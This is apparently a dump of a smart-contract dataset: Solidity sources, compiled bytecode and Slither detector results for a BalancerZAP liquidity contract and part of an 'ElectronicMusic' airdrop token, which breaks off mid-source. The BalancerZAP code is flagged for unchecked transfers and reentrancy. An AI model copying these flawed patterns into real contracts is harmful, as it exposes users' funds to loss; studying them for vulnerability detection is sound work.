00000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b790919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6509184e729fff0281565b60008111610a2157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6d57600080fd5b6000339050610ac482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1c826001546114b790919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ceb576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7f565b610cfe83826114b790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f434543000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4c57600080fd5b610f9e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117682600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fa57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c357fe5b818303905092915050565b6000808284019050838110156114e057fe5b809150509291505056fea2646970667358221220ca99511212bf64ae3e89a56b896797295b3c3071f649830e54c584afbc70ecd364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,022 |
0x54403989539e13e7ce5638f558dc892fa32b96b5
|
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.6.12;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IBPool {
function isPublicSwap() external view returns (bool);
function isFinalized() external view returns (bool);
function isBound(address t) external view returns (bool);
function getNumTokens() external view returns (uint);
function getCurrentTokens() external view returns (address[] memory tokens);
function getFinalTokens() external view returns (address[] memory tokens);
function getDenormalizedWeight(address token) external view returns (uint);
function getTotalDenormalizedWeight() external view returns (uint);
function getNormalizedWeight(address token) external view returns (uint);
function getBalance(address token) external view returns (uint);
function getSwapFee() external view returns (uint);
function getController() external view returns (address);
function setSwapFee(uint swapFee) external;
function setController(address manager) external;
function setPublicSwap(bool public_) external;
function finalize() external;
function bind(address token, uint balance, uint denorm) external;
function rebind(address token, uint balance, uint denorm) external;
function unbind(address token) external;
function gulp(address token) external;
function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint spotPrice);
function getSpotPriceSansFee(address tokenIn, address tokenOut) external view returns (uint spotPrice);
function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external;
function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external;
function swapExactAmountIn(
address tokenIn,
uint tokenAmountIn,
address tokenOut,
uint minAmountOut,
uint maxPrice
) external returns (uint tokenAmountOut, uint spotPriceAfter);
function swapExactAmountOut(
address tokenIn,
uint maxAmountIn,
address tokenOut,
uint tokenAmountOut,
uint maxPrice
) external returns (uint tokenAmountIn, uint spotPriceAfter);
function joinswapExternAmountIn(
address tokenIn,
uint tokenAmountIn,
uint minPoolAmountOut
) external returns (uint poolAmountOut);
function joinswapPoolAmountOut(
address tokenIn,
uint poolAmountOut,
uint maxAmountIn
) external returns (uint tokenAmountIn);
function exitswapPoolAmountIn(
address tokenOut,
uint poolAmountIn,
uint minAmountOut
) external returns (uint tokenAmountOut);
function exitswapExternAmountOut(
address tokenOut,
uint tokenAmountOut,
uint maxPoolAmountIn
) external returns (uint poolAmountIn);
function totalSupply() external view returns (uint);
function balanceOf(address whom) external view returns (uint);
function allowance(address src, address dst) external view returns (uint);
function approve(address dst, uint amt) external returns (bool);
function transfer(address dst, uint amt) external returns (bool);
function transferFrom(
address src, address dst, uint amt
) external returns (bool);
function calcSpotPrice(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint swapFee
) external pure returns (uint spotPrice);
function calcOutGivenIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountIn,
uint swapFee
) external pure returns (uint tokenAmountOut);
function calcInGivenOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountOut,
uint swapFee
) external pure returns (uint tokenAmountIn);
function calcPoolOutGivenSingleIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint tokenAmountIn,
uint swapFee
) external pure returns (uint poolAmountOut);
function calcSingleInGivenPoolOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint poolAmountOut,
uint swapFee
) external pure returns (uint tokenAmountIn);
function calcSingleOutGivenPoolIn(
uint tokenBalanceOut,
uint tokenWeightOut,
uint poolSupply,
uint totalWeight,
uint poolAmountIn,
uint swapFee
) external pure returns (uint tokenAmountOut);
function calcPoolInGivenSingleOut(
uint tokenBalanceOut,
uint tokenWeightOut,
uint poolSupply,
uint totalWeight,
uint tokenAmountOut,
uint swapFee
) external pure returns (uint poolAmountIn);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
contract BalancerZAP {
using SafeMath for uint256;
address public _token;
address public _balancerPool;
address public _tokenWETHPair;
IWETH public _WETH;
bool private initialized;
function initBalancerZAP(address token, address balancerPool, address WETH, address tokenWethPair) public {
require(!initialized);
_token = token;
_balancerPool = balancerPool;
require(IERC20(_token).approve(balancerPool, uint(-1)));
_WETH = IWETH(WETH);
_tokenWETHPair = tokenWethPair;
initialized = true;
}
fallback() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender);
}
}
receive() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender);
}
}
function addLiquidityETHOnly(address payable to) public payable {
require(to != address(0), "Invalid address");
uint256 buyAmount = msg.value;
require(buyAmount > 0, "Insufficient ETH amount");
_WETH.deposit{value : msg.value}();
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(buyAmount, reserveWeth, reserveTokens);
_WETH.transfer(_tokenWETHPair, buyAmount);
(address token0, address token1) = UniswapV2Library.sortTokens(address(_WETH), _token);
IUniswapV2Pair(_tokenWETHPair).swap(_token == token0 ? outTokens : 0, _token == token1 ? outTokens : 0, address(this), "");
_addLiquidity(outTokens, to);
}
function addLiquidityTokenOnly(uint256 tokenAmount, address payable to) public payable {
require(to != address(0), "Invalid address");
require(tokenAmount > 0, "Insufficient token amount");
require(IERC20(_token).transferFrom(msg.sender, address(this), tokenAmount));
_addLiquidity(tokenAmount, to);
}
function _addLiquidity(uint256 tokenAmount, address payable to) internal {
//mint BPTs
uint256 bptTokens = IBPool(_balancerPool).joinswapExternAmountIn( _token, tokenAmount, 0);
require(bptTokens > 0, "Insufficient BPT amount");
//transfer tokens to user
require(IBPool(_balancerPool).transfer(to, bptTokens));
}
function getPairReserves() internal view returns (uint256 wethReserves, uint256 tokenReserves) {
(address token0,) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(_tokenWETHPair).getReserves();
(wethReserves, tokenReserves) = token0 == _token ? (reserve1, reserve0) : (reserve0, reserve1);
}
}
|
0x6080604052600436106100745760003560e01c806359204fed1161004e57806359204fed14610142578063c26974201461016e578063e0af361614610194578063ecd0c0c3146101a957610096565b806314b0818a146100b157806332ae7bc3146100e2578063358ae7d01461012d57610096565b36610096576003546001600160a01b0316331461009457610094336101be565b005b6003546001600160a01b0316331461009457610094336101be565b3480156100bd57600080fd5b506100c661045d565b604080516001600160a01b039092168252519081900360200190f35b3480156100ee57600080fd5b506100946004803603608081101561010557600080fd5b506001600160a01b03813581169160208101358216916040820135811691606001351661046c565b34801561013957600080fd5b506100c661056f565b6100946004803603604081101561015857600080fd5b50803590602001356001600160a01b031661057e565b6100946004803603602081101561018457600080fd5b50356001600160a01b03166101be565b3480156101a057600080fd5b506100c66106be565b3480156101b557600080fd5b506100c66106cd565b6001600160a01b03811661020b576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b348061025e576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015290519081900360640190fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156102ae57600080fd5b505af11580156102c2573d6000803e3d6000fd5b50505050506000806102d26106dc565b9150915060006102e38484846107c9565b6003546002546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101899052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561033e57600080fd5b505af1158015610352573d6000803e3d6000fd5b505050506040513d602081101561036857600080fd5b5050600354600080549091829161038b916001600160a01b0390811691166108a1565b6002546000549294509092506001600160a01b039081169163022c0d9f918086169116146103ba5760006103bc565b845b6000546001600160a01b038581169116146103d85760006103da565b855b604080516001600160e01b031960e086901b1681526004810193909352602483019190915230604483015260806064830152600060848301819052905160c48084019382900301818387803b15801561043257600080fd5b505af1158015610446573d6000803e3d6000fd5b50505050610454838861097f565b50505050505050565b6002546001600160a01b031681565b600354600160a01b900460ff161561048357600080fd5b600080546001600160a01b038087166001600160a01b031992831617808455600180548884169416841790556040805163095ea7b360e01b8152600481019490945260001960248501525191169263095ea7b392604480820193602093909283900390910190829087803b1580156104fa57600080fd5b505af115801561050e573d6000803e3d6000fd5b505050506040513d602081101561052457600080fd5b505161052f57600080fd5b60038054600280546001600160a01b039485166001600160a01b03199182161790915560ff60a01b199390941693169290921716600160a01b1790555050565b6001546001600160a01b031681565b6001600160a01b0381166105cb576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b60008211610620576040805162461bcd60e51b815260206004820152601960248201527f496e73756666696369656e7420746f6b656e20616d6f756e7400000000000000604482015290519081900360640190fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810186905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561067b57600080fd5b505af115801561068f573d6000803e3d6000fd5b505050506040513d60208110156106a557600080fd5b50516106b057600080fd5b6106ba828261097f565b5050565b6003546001600160a01b031681565b6000546001600160a01b031681565b600354600080549091829182916106ff916001600160a01b0391821691166108a1565b509050600080600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561075357600080fd5b505afa158015610767573d6000803e3d6000fd5b505050506040513d606081101561077d57600080fd5b5080516020909101516000546dffffffffffffffffffffffffffff9283169450911691506001600160a01b038481169116146107ba5781816107bd565b80825b90969095509350505050565b60008084116108095760405162461bcd60e51b815260040180806020018281038252602b815260200180610c1d602b913960400191505060405180910390fd5b6000831180156108195750600082115b6108545760405162461bcd60e51b8152600401808060200182810382526028815260200180610bd46028913960400191505060405180910390fd5b6000610862856103e5610af2565b905060006108708285610af2565b9050600061088a83610884886103e8610af2565b90610b54565b905080828161089557fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b031614156108f55760405162461bcd60e51b8152600401808060200182810382526025815260200180610baf6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610610915578284610918565b83835b90925090506001600160a01b038216610978576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6001546000805460408051635db3427760e01b81526001600160a01b0392831660048201526024810187905260448101849052905192939190911691635db342779160648082019260209290919082900301818787803b1580156109e257600080fd5b505af11580156109f6573d6000803e3d6000fd5b505050506040513d6020811015610a0c57600080fd5b5051905080610a62576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742042505420616d6f756e74000000000000000000604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051610aed57600080fd5b505050565b600082610b0157506000610b4e565b82820282848281610b0e57fe5b0414610b4b5760405162461bcd60e51b8152600401808060200182810382526021815260200180610bfc6021913960400191505060405180910390fd5b90505b92915050565b600082820183811015610b4b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a2646970667358221220effc9108ec2c1c90bf2937fc6f835854448e925ffa7c63ea37b202e7344a60d664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,023 |
0x9a9ee2ca060ff8efde0b7edaaa8eb0946eef6a18
|
pragma solidity ^0.4.25;
// 'Electronic Music'
//
// NAME : Electronic Music
// Symbol : EMT
// Total supply: 10,999,999,000
// Decimals : 18
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ElectronicMusic is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "ElectronicMusic";
string public constant symbol = "EMT";
uint public constant decimals = 18;
uint public deadline = now + 35 * 1 days;
uint public round2 = now + 30 * 1 days;
uint public round1 = now + 20 * 1 days;
uint256 public totalSupply = 10999999000e18;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 20000000e18;
uint public target0drop = 30000;
uint public progress0drop = 0;
address multisig = 0x86c7B103c057ff7d3A55E06af777B7bE33E8A900;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 3000000000e18;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
